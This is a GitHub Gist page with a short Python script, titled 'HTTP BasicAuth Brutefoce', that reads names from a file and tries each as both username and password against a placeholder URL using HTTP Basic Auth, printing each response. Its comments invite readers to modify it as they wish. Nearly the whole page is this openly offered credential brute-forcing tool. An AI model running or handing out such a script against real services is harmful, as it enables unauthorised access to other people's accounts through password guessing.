Last active
December 9, 2017 05:53
-
-
Save ep4sh/4ef5e5def53e58c8ad53b7d320ff2732 to your computer and use it in GitHub Desktop.
HTTP BasicAuth Brutefoce
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Developed by @ep4sh | |
#This one brute with login:login entities | |
#U can modify this as u want | |
import requests | |
import time | |
from requests.auth import AuthBase | |
from requests.auth import HTTPBasicAuth | |
with open("login", "r") as f: | |
for line in f: | |
time.sleep(1) | |
auth = HTTPBasicAuth(line, line) | |
r = requests.post(url="http://domain", auth=auth) | |
print("\n\n***************************") | |
print(line) | |
print(r.text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment